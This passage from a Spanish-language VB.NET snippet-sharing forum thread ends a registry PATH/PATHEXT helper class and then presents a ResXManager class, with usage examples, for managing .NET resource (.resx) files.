  445.            If (dirs.Count > index) Then
  446.                dirs.RemoveAt(index)
  447.            Else
  448.                Throw New IndexOutOfRangeException(Message:="Directory index is out of range.")
  449.            End If
  450.  
  451.            CreatePath(userMode, data:=String.Join(";"c, dirs))
  452.  
  453.        End Sub
  454.  
  455.        ''' <summary>
  456.        ''' Deletes a file extension from the PATHEXT registry value of the specified user.
  457.        ''' </summary>
  458.        ''' <param name="userMode">The user mode.</param>
  459.        ''' <param name="extension">The file extension.</param>
  460.        Public Shared Sub DeleteExtension(ByVal userMode As UserMode,
  461.                                          ByVal extension As String)
  462.  
  463.            If Not extension.StartsWith("."c) Then ' Fix extension.
  464.                extension.Insert(0, "."c)
  465.            End If
  466.  
  467.            Dim exts As IEnumerable(Of String) =
  468.                From ext As String In GetPathExtDataList(userMode)
  469.                Where Not ext.ToLower.Equals(extension, StringComparison.OrdinalIgnoreCase)
  470.  
  471.            CreatePath(userMode, data:=String.Join(";"c, exts))
  472.  
  473.        End Sub
  474.  
  475.        ''' <summary>
  476.        ''' Deletes a file extension from the PATHEXT registry value of the specified user.
  477.        ''' </summary>
  478.        ''' <param name="userMode">The user mode.</param>
  479.        ''' <param name="index">The file extension index, 0 = First.</param>
  480.        ''' <exception cref="IndexOutOfRangeException">File extension index is out of range.</exception>
  481.        Public Shared Sub DeleteExtension(ByVal userMode As UserMode,
  482.                                          ByVal index As Integer)
  483.  
  484.            Dim exts As List(Of String) = GetPathExtDataList(userMode).ToList
  485.  
  486.            If (exts.Count > index) Then
  487.                exts.RemoveAt(index)
  488.            Else
  489.                Throw New IndexOutOfRangeException(Message:="File extension index is out of range.")
  490.            End If
  491.  
  492.            CreatePathExt(userMode, data:=String.Join(";"c, exts))
  493.  
  494.        End Sub
  495.  
  496.        ''' <summary>
  497.        ''' Determines whether the PATH registry value of the specified user contains a directory.
  498.        ''' </summary>
  499.        ''' <param name="usermode">The usermode.</param>
  500.        ''' <param name="directory">The directory path.</param>
  501.        ''' <returns><c>true</c> if contains the specified directory; <c>false</c> otherwise.</returns>
  502.        Public Shared Function ContainsDirectory(ByVal usermode As UserMode,
  503.                                                 ByVal directory As String) As Boolean
  504.  
  505.            Return GetPathDataList(usermode).Any(Function(dir As String) dir.Equals(directory, StringComparison.OrdinalIgnoreCase))
  506.  
  507.        End Function
  508.  
  509.        ''' <summary>
  510.        ''' Determines whether the PATHEXT registry value of the specified user contains a directory.
  511.        ''' </summary>
  512.        ''' <param name="usermode">The usermode.</param>
  513.        ''' <param name="extension">The file extension.</param>
  514.        ''' <returns><c>true</c> if contains the specified file extension; <c>false</c> otherwise.</returns>
  515.        Public Shared Function ContainsExtension(ByVal usermode As UserMode,
  516.                                                 ByVal extension As String) As Boolean
  517.  
  518.            If Not extension.StartsWith("."c) Then ' Fix extension.
  519.                extension.Insert(0, "."c)
  520.            End If
  521.  
  522.            Return GetPathExtDataList(usermode).Any(Function(ext As String) ext.Equals(extension, StringComparison.OrdinalIgnoreCase))
  523.  
  524.        End Function
  525.  
  526. #End Region
  527.  
  528.    End Class
  529.  
  530. End Namespace
  531.  
  532. #End Region
  533.  


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Junio 2015, 09:56 am
Una Class para administrar un archivo de recursos de .Net ( file.resx )

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 16-March-2015
  4. ' ***********************************************************************
  5. ' <copyright file="ResXManager.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Option Statements "
  11.  
  12. Option Strict On
  13. Option Explicit On
  14. Option Infer Off
  15.  
  16. #End Region
  17.  
  18. #Region " Usage Examples "
  19.  
  20. 'Imports System.IO
  21. 'Imports System.Text
  22.  
  23. 'Public Class Form1
  24.  
  25. '    Private Sub Test() Handles MyBase.Shown
  26.  
  27. '        Dim resX As New ResXManager(Path.Combine(Application.StartupPath, "MyResources.resx"))
  28. '        With resX
  29.  
  30. '            ' Create or replace the ResX file.
  31. '            .Create(replace:=True)
  32.  
  33. '            ' Add a string resource.
  34. '            .AddResource(Of String)("String Resource", "Hello World!", "String Comment")
  35. '            ' Add a bitmap resource.
  36. '            .AddResource(Of Bitmap)("Bitmap Resource", SystemIcons.Information.ToBitmap, "Bitmap Comment")
  37. '            ' Add a binary resource.
  38. '            .AddResource(Of Byte())("Binary Resource", File.ReadAllBytes("C:\file.mp3"), "Binary Comment")
  39.  
  40. '        End With
  41.  
  42. '        ' *******************************************************************************************************
  43.  
  44. '        ' Get the string resource.
  45. '        Dim stringResource As ResXManager.Resource(Of String) =
  46. '            resX.FindResource(Of String)("String Resource", StringComparison.OrdinalIgnoreCase)
  47.  
  48. '        ' Get the bitmap resource.
  49. '        Dim bitmapResource As ResXManager.Resource(Of Bitmap) =
  50. '            resX.FindResource(Of Bitmap)("Bitmap Resource", StringComparison.OrdinalIgnoreCase)
  51.  
  52. '        ' Get the binary resource.
  53. '        Dim binaryResource As ResXManager.Resource(Of Byte()) =
  54. '            resX.FindResource(Of Byte())("Binary Resource", StringComparison.OrdinalIgnoreCase)
  55.  
  56. '        ' *******************************************************************************************************
  57.  
  58. '        ' Get the string data.
  59. '        Dim stringData As String = stringResource.Data
  60.  
  61. '        ' Get the bitmap data.
  62. '        Dim bitmapData As Bitmap = bitmapResource.Data
  63.  
  64. '        ' Get the binary data.
  65. '        Dim binaryData As Byte() = binaryResource.Data
  66.  
  67. '        ' *******************************************************************************************************
  68.  
  69. '        ' Get all the resources at once.
  70. '        Dim resources As IEnumerable(Of ResXManager.Resource) = resX.Resources
  71.  
  72. '        ' Get all the resources of specific Type at once.
  73. '        Dim stringResources As IEnumerable(Of ResXManager.Resource(Of String)) = resX.FindResources(Of String)()
  74.  
  75. '        ' *******************************************************************************************************
  76.  
  77. '        ' Get all the resource datas at once from Resource collection.
  78. '        Dim resourceDatas As IEnumerable(Of Object) =
  79. '            From res As ResXManager.Resource In resX.Resources
  80. '            Select res.Data
  81.  
  82. '        ' Get all the resource datas of specific Type at once from Resource collection.
  83. '        Dim stringResourceDatas As IEnumerable(Of String) =
  84. '            From res As ResXManager.Resource In resX.Resources
  85. '            Where res.Type Is GetType(String)
  86. '            Select DirectCast(res.Data, String)
  87.  
  88. '        ' *******************************************************************************************************
  89.  
  90. '        ' Treat the string data as you like.
  91. '        MessageBox.Show(stringData, String.Empty, MessageBoxButtons.OK, MessageBoxIcon.Information)
  92.  
  93. '        ' Treat the bitmap data as you like.
  94. '        Me.Icon = Icon.FromHandle(bitmapData.GetHicon)
  95.  
  96. '        ' Treat the binary data as you like.
  97. '        File.WriteAllBytes("C:\new file.mp3", binaryData)
  98.  
  99. '        ' *******************************************************************************************************
  100.  
  101. '        ' Iterate all the resources.
  102. '        For Each res As ResXManager.Resource In resX.Resources
  103.  
  104. '            Dim sb As New StringBuilder
  105.  
  106. '            sb.AppendLine(String.Format("Name...: {0}", res.Name))
  107. '            sb.AppendLine(String.Format("Comment: {0}", res.Comment))
  108. '            sb.AppendLine(String.Format("Type...: {0}", res.Type.ToString))
  109. '            sb.AppendLine(String.Format("Data...: {0}", res.Data.ToString))
  110.  
  111. '            MsgBox(sb.ToString)
  112. '        Next
  113.  
  114. '        ' Iterate all the resources of specific Type.
  115. '        For Each res As ResXManager.Resource(Of String) In resX.FindResources(Of String)()
  116.  
  117. '            Dim sb As New StringBuilder
  118.  
  119. '            sb.AppendLine(String.Format("Name...: {0}", res.Name))
  120. '            sb.AppendLine(String.Format("Comment: {0}", res.Comment))
  121. '            sb.AppendLine(String.Format("Type...: {0}", res.Type.ToString))
  122. '            sb.AppendLine(String.Format("Data...: {0}", res.Data.ToString))
  123.  
  124. '            MsgBox(sb.ToString)
  125. '        Next
  126.  
  127. '        ' *******************************************************************************************************
  128.  
  129. '        ' Remove a resource.
  130. '        resX.RemoveResource("Binary Resource")
  131.  
  132. '        '  GC.Collect()
  133.  
  134. '    End Sub
  135.  
  136. 'End Class
  137.  
  138. #End Region
  139.  
  140. #Region " Imports "
  141.  
  142. Imports System.ComponentModel
  143. Imports System.ComponentModel.Design
  144. Imports System.IO
  145. Imports System.Resources
  146.  
  147. #End Region
  148.  
  149. ''' <summary>
  150. ''' Manages a .Net managed resource file.
  151. ''' </summary>
  152. Public NotInheritable Class ResXManager
  153.  
  154. #Region " Properties "
  155.  
  156.    ''' <summary>
  157.    ''' Gets the .Net managed resource file path.
  158.    ''' </summary>
  159.    ''' <value>The .Net managed resource filepath.</value>
  160.    Public ReadOnly Property FilePath As String
  161.        Get
  162.            Return Me.filePath1
  163.        End Get
  164.    End Property
  165.    ''' <summary>
  166.    ''' The .Net managed resource file path.
  167.    ''' </summary>
  168.    Private ReadOnly filePath1 As String
  169.  
  170.    ''' <summary>
  171.    ''' Gets the resources contained in the .Net managed resource file.
  172.    ''' </summary>
  173.    ''' <value>The resources.</value>
  174.    Public ReadOnly Property Resources As IEnumerable(Of Resource)
  175.        Get
  176.            Return GetResources()
  177.        End Get
  178.    End Property
  179.  
  180. #End Region
  181.  
  182. #Region " Types "
  183.  
  184. #Region " Resource "
  185.  
  186.    ''' <summary>
  187.    ''' Defines a resource of a .Net managed resource file.
  188.    ''' </summary>
  189.    <Serializable>
  190.    Public NotInheritable Class Resource
  191.  
  192. #Region " Properties "
  193.  
  194.        ''' <summary>
  195.        ''' Gets the resource name.
  196.        ''' </summary>
  197.        ''' <value>The resource name.</value>
  198.        Public ReadOnly Property Name As String
  199.            Get
  200.                Return Me.name1
  201.            End Get
  202.        End Property
  203.        Private ReadOnly name1 As String
  204.  
  205.        ''' <summary>
  206.        ''' Gets the resource data.
  207.        ''' </summary>
  208.        ''' <value>The resource data.</value>
  209.        Public ReadOnly Property Data As Object
  210.            Get
  211.                Return Me.data1
  212.            End Get
  213.        End Property
  214.        Private ReadOnly data1 As Object
  215.  
  216.        ''' <summary>
  217.        ''' Gets the resource type.
  218.        ''' </summary>
  219.        ''' <value>The resource type.</value>
  220.        Public ReadOnly Property Type As Type
  221.            Get
  222.                Return Data.GetType
  223.            End Get
  224.        End Property
  225.  
  226.        ''' <summary>
  227.        ''' Gets the resource comment.
  228.        ''' </summary>
  229.        ''' <value>The resource comment.</value>
  230.        Public ReadOnly Property Comment As String
  231.            Get
  232.                Return comment1
  233.            End Get
  234.        End Property
  235.        Private ReadOnly comment1 As String
  236.  
  237.        ''' <summary>
  238.        ''' Represents a <see cref="Resource"/> instance that is <c>Nothing</c>.
  239.        ''' </summary>
  240.        ''' <value><c>Nothing</c></value>
  241.        <EditorBrowsable(EditorBrowsableState.Advanced)>
  242.        Public Shared ReadOnly Property Empty As Resource
  243.            Get
  244.                Return Nothing
  245.            End Get
  246.        End Property
  247.  
  248. #End Region
  249.  
  250. #Region " Constructors "
  251.  
  252.        ''' <summary>
  253.        ''' Initializes a new instance of the <see cref="Resource"/> class.
  254.        ''' </summary>
  255.        ''' <param name="name">The resource name.</param>
  256.        ''' <param name="data">The resource data.</param>
  257.        ''' <param name="comment">The resource comment.</param>
  258.        Public Sub New(ByVal name As String,
  259.                       ByVal data As Object,
  260.                       ByVal comment As String)
  261.  
  262.            Me.name1 = name
  263.            Me.data1 = data
  264.            Me.comment1 = comment
  265.  
  266.        End Sub
  267.  
  268.        ''' <summary>
  269.        ''' Prevents a default instance of the <see cref="Resource"/> class from being created.
  270.        ''' </summary>
  271.        Private Sub New()
  272.        End Sub
  273.  
  274. #End Region
  275.  
  276. #Region " Hidden Methods "
  277.  
  278.        ''' <summary>
  279.        ''' Determines whether the specified System.Object instances are considered equal.
  280.        ''' </summary>
  281.        <EditorBrowsable(EditorBrowsableState.Never)>
  282.        Public Shadows Function Equals(ByVal obj As Object) As Boolean
  283.            Return MyBase.Equals(obj)
  284.        End Function
  285.  
  286.        ''' <summary>
  287.        ''' Serves as a hash function for a particular type.
  288.        ''' </summary>
  289.        <EditorBrowsable(EditorBrowsableState.Never)>
  290.        Public Shadows Function GetHashCode() As Integer
  291.            Return MyBase.GetHashCode
  292.        End Function
  293.  
  294.        ''' <summary>
  295.        ''' Gets the System.Type of the current instance.
  296.        ''' </summary>
  297.        ''' <returns>The exact runtime type of the current instance.</returns>
  298.        <EditorBrowsable(EditorBrowsableState.Never)>
  299.        Public Shadows Function [GetType]() As Type
  300.            Return MyBase.GetType
  301.        End Function
  302.  
  303.        ''' <summary>
  304.        ''' Returns a String that represents the current object.
  305.        ''' </summary>
  306.        <EditorBrowsable(EditorBrowsableState.Never)>
  307.        Public Shadows Function ToString() As String
  308.            Return MyBase.ToString
  309.        End Function
  310.  
  311. #End Region
  312.  
  313.    End Class
  314.  
  315. #End Region
  316.  
  317. #Region " Resource(Of T) "
  318.  
  319.    ''' <summary>
  320.    ''' Defines a resource of a .Net managed resource file.
  321.    ''' </summary>
  322.    <Serializable>
  323.    Public NotInheritable Class Resource(Of T)
  324.  
  325. #Region " Properties "
  326.  
  327.        ''' <summary>
  328.        ''' Gets the resource name.
  329.        ''' </summary>
  330.        ''' <value>The resource name.</value>
  331.        Public ReadOnly Property Name As String
  332.            Get
  333.                Return Me.name1
  334.            End Get
  335.        End Property
  336.        Private ReadOnly name1 As String
  337.  
  338.        ''' <summary>
  339.        ''' Gets the resource data.
  340.        ''' </summary>
  341.        ''' <value>The resource data.</value>
  342.        Public ReadOnly Property Data As T
  343.            Get
  344.                Return Me.data1
  345.            End Get
  346.        End Property
  347.        Private ReadOnly data1 As T
  348.  
  349.        ''' <summary>
  350.        ''' Gets the resource type.
  351.        ''' </summary>
  352.        ''' <value>The resource type.</value>
  353.        Public ReadOnly Property Type As Type
  354.            Get
  355.                Return GetType(T)
  356.            End Get
  357.        End Property
  358.  
  359.        ''' <summary>
  360.        ''' Gets the resource comment.
  361.        ''' </summary>
  362.        ''' <value>The resource comment.</value>
  363.        Public ReadOnly Property Comment As String
  364.            Get
  365.                Return comment1
  366.            End Get
  367.        End Property
  368.        Private ReadOnly comment1 As String
  369.  
  370. #End Region
  371.  
  372. #Region " Constructors "
  373.  
  374.        ''' <summary>
  375.        ''' Initializes a new instance of the <see cref="Resource(Of T)"/> class.
  376.        ''' </summary>
  377.        ''' <param name="name">The resource name.</param>
  378.        ''' <param name="data">The resource data.</param>
  379.        ''' <param name="comment">The resource comment.</param>
  380.        Public Sub New(ByVal name As String,
  381.                       ByVal data As T,
  382.                       ByVal comment As String)
  383.  
  384.            Me.name1 = name
  385.            Me.data1 = data
  386.            Me.comment1 = comment
  387.  
  388.        End Sub
  389.  
  390.        ''' <summary>
  391.        ''' Prevents a default instance of the <see cref="Resource(Of T)"/> class from being created.
  392.        ''' </summary>
  393.        Private Sub New()
  394.        End Sub
  395.  
  396. #End Region
  397.  
  398. #Region " Hidden Methods "
  399.  
  400.        ''' <summary>
  401.        ''' Determines whether the specified System.Object instances are considered equal.
  402.        ''' </summary>
  403.        <EditorBrowsable(EditorBrowsableState.Never)>
  404.        Public Shadows Function Equals(ByVal obj As Object) As Boolean
  405.            Return MyBase.Equals(obj)
  406.        End Function
  407.  
  408.        ''' <summary>
  409.        ''' Serves as a hash function for a particular type.
  410.        ''' </summary>
  411.        <EditorBrowsable(EditorBrowsableState.Never)>
  412.        Public Shadows Function GetHashCode() As Integer
  413.            Return MyBase.GetHashCode
  414.        End Function
  415.  
  416.        ''' <summary>
  417.        ''' Gets the System.Type of the current instance.
  418.        ''' </summary>
  419.        ''' <returns>The exact runtime type of the current instance.</returns>
  420.        <EditorBrowsable(EditorBrowsableState.Never)>
  421.        Public Shadows Function [GetType]() As Type
  422.            Return MyBase.GetType
  423.        End Function
  424.  
  425.        ''' <summary>
  426.        ''' Returns a String that represents the current object.
  427.        ''' </summary>
  428.        <EditorBrowsable(EditorBrowsableState.Never)>
  429.        Public Shadows Function ToString() As String
  430.            Return MyBase.ToString
  431.        End Function
  432.  
  433. #End Region
  434.  
  435.    End Class
  436.  
  437. #End Region
  438.  
  439. #End Region
  440.  
  441. #Region " Constructors "
  442.  
  443.    ''' <summary>
  444.    ''' Initializes a new instance of the <see cref="ResXManager"/> class.
  445.    ''' </summary>
  446.    ''' <param name="resxFilePath">The .Net managed resource filepath.</param>
  447.    Public Sub New(ByVal resxFilePath As String)
  448.        Me.filePath1 = resxFilePath
  449.    End Sub
  450.  
  451.    ''' <summary>
  452.    ''' Prevents a default instance of the <see cref="ResXManager"/> class from being created.
  453.    ''' </summary>
  454.    Private Sub New()
  455.    End Sub
  456.  
  457. #End Region
  458.  
  459. #Region " Public Methods "
  460.  
  461.    ''' <summary>
  462.    ''' Creates the .Net managed resource file.
  463.    ''' </summary>
  464.    ''' <param name="replace">if set to <c>true</c>, replaces any existent file.</param>
  465.    ''' <exception cref="System.Exception"></exception>
  466.    Public Sub Create(Optional ByVal replace As Boolean = False)
  467.  
  468.        If Not replace AndAlso File.Exists(Me.filePath1) Then
  469.            Throw New Exception(String.Format("Resource file already exists: {0}", Me.filePath1))
  470.            Exit Sub
  471.        End If
  472.  
  473.        Dim resXWritter As ResXResourceWriter = Nothing
  474.        Try
  475.            resXWritter = New ResXResourceWriter(Me.filePath1)
  476.            Using resXWritter
  477.                resXWritter.Generate()
  478.            End Using
  479.  
  480.        Catch ex As Exception
  481.            Throw
  482.  
  483.        Finally
  484.            If resXWritter IsNot Nothing Then
  485.                resXWritter.Close()
  486.            End If
  487.  
  488.        End Try
  489.  
  490.    End Sub
  491.  
  492.    ''' <summary>
  493.    ''' Adds a resource into the .Net managed resource file.
  494.    ''' </summary>
  495.    ''' <param name="name">The resource name.</param>
  496.    ''' <param name="data">The resource data.</param>
  497.    ''' <param name="comment">The resource comment.</param>
  498.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  499.    ''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
  500.    Public Sub AddResource(ByVal name As String,
  501.                           ByVal data As Object,
  502.                           Optional ByVal comment As String = Nothing)
  503.  
  504.        Me.AddResource(replace:=False, name:=name, data:=data, comment:=comment)
  505.  
  506.    End Sub
  507.  
  508.    ''' <summary>
  509.    ''' Adds a specified resource of the specified type into the .Net managed resource file.
  510.    ''' </summary>
  511.    ''' <typeparam name="T"></typeparam>
  512.    ''' <param name="name">The resource name.</param>
  513.    ''' <param name="data">The resource data.</param>
  514.    ''' <param name="comment">The resource comment.</param>
  515.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  516.    ''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
  517.    Public Sub AddResource(Of T)(ByVal name As String,
  518.                                 ByVal data As T,
  519.                                 Optional ByVal comment As String = Nothing)
  520.  
  521.        Me.AddResource(replace:=False, name:=name, data:=data, comment:=comment)
  522.  
  523.    End Sub
  524.  
  525.    ''' <summary>
  526.    ''' Replaces a resource by the specified name inside the .Net managed resource file.
  527.    ''' </summary>
  528.    ''' <param name="name">The resource name.</param>
  529.    ''' <param name="data">The resource data.</param>
  530.    ''' <param name="comment">The resource comment.</param>
  531.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  532.    ''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
  533.    Public Sub ReplaceResource(ByVal name As String,
  534.                               ByVal data As Object,
  535.                               Optional ByVal comment As String = Nothing)
  536.  
  537.        Me.AddResource(replace:=True, name:=name, data:=data, comment:=comment)
  538.  
  539.    End Sub
  540.  
  541.    ''' <summary>
  542.    ''' Replaces a resource by the specified name of the specified type inside the .Net managed resource file.
  543.    ''' </summary>
  544.    ''' <typeparam name="T"></typeparam>
  545.    ''' <param name="name">The resource name.</param>
  546.    ''' <param name="data">The resource data.</param>
  547.    ''' <param name="comment">The resource comment.</param>
  548.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  549.    ''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
  550.    Public Sub ReplaceResource(Of T)(ByVal name As String,
  551.                                     ByVal data As T,
  552.                                     Optional ByVal comment As String = Nothing)
  553.  
  554.        Me.AddResource(replace:=True, name:=name, data:=data, comment:=comment)
  555.  
  556.    End Sub
  557.  
  558.    ''' <summary>
  559.    ''' Finds a resource by the specified name of specified type inside the .Net managed resource file.
  560.    ''' </summary>
  561.    ''' <typeparam name="T"></typeparam>
  562.    ''' <param name="name">The resource name.</param>
  563.    ''' <param name="stringComparison">The <see cref="StringComparison"/> to compare the resource name.</param>
  564.    ''' <returns>The resource.</returns>
  565.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  566.    ''' <exception cref="System.ArgumentException">Resource with the specified name is not found.;name</exception>
  567.    ''' <exception cref="System.ArgumentException">The specified Type differs from the resource Type.;T</exception>
  568.    Public Function FindResource(Of T)(ByVal name As String,
  569.                                       Optional ByVal stringComparison As StringComparison =
  570.                                                      StringComparison.OrdinalIgnoreCase) As Resource(Of T)
  571.  
  572.        If Not File.Exists(Me.filePath1) Then
  573.            Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
  574.            Exit Function
  575.        End If
  576.  
  577.        ' Read the ResX file.
  578.        Dim resX As ResXResourceReader = Nothing
  579.        Dim res As Resource(Of T) = Nothing
  580.        Try
  581.            resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
  582.            Using resX
  583.  
  584.                For Each entry As DictionaryEntry In resX
  585.  
  586.                    If entry.Key.ToString.Equals(name, stringComparison) Then
  587.  
  588.                        Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
  589.  
  590.                        res = New Resource(Of T)(name:=node.Name,
  591.                                                 data:=DirectCast(node.GetValue(DirectCast(Nothing, ITypeResolutionService)), T),
  592.                                                 comment:=node.Comment)
  593.                        Exit For
  594.  
  595.                    End If
  596.  
  597.                Next entry
  598.  
  599.            End Using ' resX
  600.  
  601.            Return res
  602.  
  603.        Catch ex As Exception
  604.            Throw
  605.  
  606.        Finally
  607.            If resX IsNot Nothing Then
  608.                resX.Close()
  609.            End If
  610.  
  611.        End Try
  612.  
  613.    End Function
  614.  
  615.    ''' <summary>
  616.    ''' Finds a resource by the specified name inside the .Net managed resource file.
  617.    ''' </summary>
  618.    ''' <param name="name">The resource name.</param>
  619.    ''' <param name="stringComparison">The <see cref="StringComparison"/> to compare the resource name.</param>
  620.    ''' <returns>The resource.</returns>
  621.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  622.    ''' <exception cref="System.ArgumentException">Resource with the specified name is not found.;name</exception>
  623.    ''' <exception cref="System.ArgumentException">The specified Type differs from the resource Type.;T</exception>
  624.    Public Function FindResource(ByVal name As String,
  625.                                 Optional ByVal stringComparison As StringComparison =
  626.                                                StringComparison.OrdinalIgnoreCase) As Resource
  627.  
  628.        If Not File.Exists(Me.filePath1) Then
  629.            Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
  630.            Exit Function
  631.        End If
  632.  
  633.        ' Read the ResX file.
  634.        Dim resX As ResXResourceReader = Nothing
  635.        Dim res As Resource = Nothing
  636.        Try
  637.            resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
  638.            Using resX
  639.  
  640.                For Each entry As DictionaryEntry In resX
  641.  
  642.                    If entry.Key.ToString.Equals(name, stringComparison) Then
  643.  
  644.                        Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
  645.  
  646.                        res = New Resource(name:=node.Name,
  647.                                           data:=node.GetValue(DirectCast(Nothing, ITypeResolutionService)),
  648.                                           comment:=node.Comment)
  649.                        Exit For
  650.  
  651.                    End If
  652.  
  653.                Next entry
  654.  
  655.            End Using ' resX
  656.  
  657.            Return res
  658.  
  659.        Catch ex As Exception
  660.            Throw
  661.  
  662.        Finally
  663.            If resX IsNot Nothing Then
  664.                resX.Close()
  665.            End If
  666.  
  667.        End Try
  668.  
  669.    End Function
  670.  
  671.    ''' <summary>
  672.    ''' Finds the resources of the specified type inside the .Net managed resource file.
  673.    ''' </summary>
  674.    ''' <typeparam name="T"></typeparam>
  675.    ''' <returns>The resource.</returns>
  676.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  677.    ''' <exception cref="System.ArgumentException">Resource with the specified name is not found.;name</exception>
  678.    ''' <exception cref="System.ArgumentException">The specified Type differs from the resource Type.;T</exception>
  679.    Public Iterator Function FindResources(Of T)() As IEnumerable(Of Resource(Of T))
  680.  
  681.        If Not File.Exists(Me.filePath1) Then
  682.            Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
  683.            Exit Function
  684.        End If
  685.  
  686.        ' Read the ResX file.
  687.        Dim resX As ResXResourceReader = Nothing
  688.        Try
  689.            resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
  690.            Using resX
  691.  
  692.                For Each entry As DictionaryEntry In resX
  693.  
  694.                    Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
  695.  
  696.                    If node.GetValue(DirectCast(Nothing, ITypeResolutionService)).GetType Is GetType(T) Then
  697.  
  698.                        Yield New Resource(Of T)(name:=node.Name,
  699.                                           data:=DirectCast(node.GetValue(DirectCast(Nothing, ITypeResolutionService)), T),
  700.                                           comment:=node.Comment)
  701.  
  702.                    End If
  703.  
  704.                Next entry
  705.  
  706.            End Using ' resX
  707.  
  708.        Catch ex As Exception
  709.            Throw
  710.  
  711.        Finally
  712.            If resX IsNot Nothing Then
  713.                resX.Close()
  714.            End If
  715.  
  716.        End Try
  717.  
  718.    End Function
  719.  
  720.    ''' <summary>
  721.    ''' Removes a resource by the specified name from the .Net managed resource file.
  722.    ''' </summary>
  723.    ''' <param name="name">The resource name.</param>
  724.    ''' <param name="stringComparison">The <see cref="StringComparison"/> to compare the resource name.</param>
  725.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  726.    ''' <exception cref="System.ArgumentException">Any resource found matching the specified name.;name</exception>
  727.    Public Sub RemoveResource(ByVal name As String,
  728.                              Optional ByVal stringComparison As StringComparison =
  729.                                             StringComparison.OrdinalIgnoreCase)
  730.  
  731.        If Not File.Exists(Me.filePath1) Then
  732.            Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
  733.            Exit Sub
  734.        End If
  735.  
  736.        If Me.FindResource(name, stringComparison) Is Nothing Then
  737.            Throw New ArgumentException("Any resource found matching the specified name.", "name")
  738.            Exit Sub
  739.        End If
  740.  
  741.        Dim resources As New List(Of ResXDataNode)
  742.        Dim resX As ResXResourceReader = Nothing
  743.        Dim resXWritter As ResXResourceWriter = Nothing
  744.  
  745.        Try
  746.            resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
  747.            Using resX
  748.  
  749.                For Each entry As DictionaryEntry In resX
  750.  
  751.                    If Not entry.Key.ToString.Equals(name, stringComparison) Then
  752.  
  753.                        Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
  754.                        resources.Add(New ResXDataNode(name:=node.Name, value:=node.GetValue(DirectCast(Nothing, ITypeResolutionService))) With {.Comment = node.Comment})
  755.  
  756.                    End If
  757.  
  758.                Next entry
  759.  
  760.            End Using
  761.  
  762.            ' Add the resource in the ResX file.
  763.            ' Note: This will replace the current ResX file.
  764.            resXWritter = New ResXResourceWriter(Me.filePath1)
  765.            Using resXWritter
  766.  
  767.                ' Add the retrieved resources into the ResX file.
  768.                If resources IsNot Nothing Then
  769.                    For Each resourceItem As ResXDataNode In resources
  770.                        resXWritter.AddResource(resourceItem)
  771.                    Next resourceItem
  772.                End If
  773.  
  774.                resXWritter.Generate()
  775.  
  776.            End Using ' resXWritter
  777.  
  778.        Catch ex As Exception
  779.            Throw
  780.  
  781.        Finally
  782.            If resX IsNot Nothing Then
  783.                resX.Close()
  784.            End If
  785.  
  786.            If resXWritter IsNot Nothing Then
  787.                resXWritter.Close()
  788.            End If
  789.  
  790.            resources.Clear()
  791.  
  792.        End Try
  793.  
  794.    End Sub
  795.  
  796. #End Region
  797.  
  798. #Region " Private Methods "
  799.  
  800.    ''' <summary>
  801.    ''' Adds or replaces a resource into the .Net managed resource file.
  802.    ''' </summary>
  803.    ''' <param name="replace">if set to <c>true</c>, the resource will be replaced.</param>
  804.    ''' <param name="name">The resource name.</param>
  805.    ''' <param name="data">The resource data.</param>
  806.    ''' <param name="comment">The resource comment.</param>
  807.    ''' <exception cref="System.IO.FileNotFoundException">Resource file not found.</exception>
  808.    ''' <exception cref="System.ArgumentException">A resource with the same name already exists in the table.;name</exception>
  809.    Private Sub AddResource(ByVal replace As Boolean,
  810.                            ByVal name As String,
  811.                            ByVal data As Object,
  812.                            ByVal comment As String)
  813.  
  814.        If Not File.Exists(Me.filePath1) Then
  815.            Throw New FileNotFoundException("Resource file not found.", Me.filePath1)
  816.            Exit Sub
  817.        End If
  818.  
  819.        Dim resources As New List(Of ResXDataNode)
  820.        Dim resX As ResXResourceReader = Nothing
  821.        Dim resXWritter As ResXResourceWriter = Nothing
  822.  
  823.        Try
  824.            resX = New ResXResourceReader(Me.filePath1) With {.UseResXDataNodes = True}
  825.            Using resX
  826.  
  827.                For Each entry As DictionaryEntry In resX
  828.  
  829.                    If Not replace AndAlso entry.Key.ToString.Equals(name, StringComparison.OrdinalIgnoreCase) Then
  830.                        Throw New ArgumentException("A resource with the same name already exists in the table.", "name")
  831.  
  832.                    Else
  833.                        Dim node As ResXDataNode = CType(entry.Value, ResXDataNode)
  834.                        resources.Add(New ResXDataNode(name:=node.Name, value:=node.GetValue(DirectCast(Nothing, ITypeResolutionService))) With {.Comment = node.Comment})
  835.  
  836.                    End If
  837.  
  838.                Next entry
  839.  
  840.            End Using
  841.  
  842.            ' Add the resource in the ResX file.
  843.            ' Note: This will replace the current ResX file.
  844.            resXWritter = New ResXResourceWriter(Me.filePath1)
